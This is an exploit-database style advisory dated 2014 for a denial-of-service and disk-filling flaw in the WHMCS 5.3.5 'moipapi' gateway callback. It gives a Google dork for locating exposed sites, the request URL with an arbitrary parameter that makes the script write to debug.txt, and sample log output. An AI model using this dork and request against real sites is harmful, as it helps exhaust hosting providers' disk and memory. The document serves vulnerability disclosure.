WHMCS Moipapi DoS & Memory Consumption Vulnerability 5.3.5

# Exploit Title: WHMCS Moipapi DoS & Memory Consumption Vulnerability 5.3.5
# Google Dork: inurl:/modules/gateways/callback/moipapi.php
-intext:"Gateway Module "moipapi" Not Activated"
# Date: 23/7/2014
# Exploit Author: surivaton
# Vendor Homepage: whmcs.com
# Version: 5.3.5
# Tested on: Linux, Windows
Possible denial of service with memory consumption and taking up disc space
 
URL: www.whmcshostedsite.com/modules/gateways/callback/moipapi.php?x=
 
Enter what ever you want after x=
 
Writes to debug.txt in same directory:
www.whmcshostedsite.com/modules/gateways/callback/debug.txt
 
What appears in debug.txt(a tad over 200 bytes):
 
-----------------------------------
POST received:
Array
(
)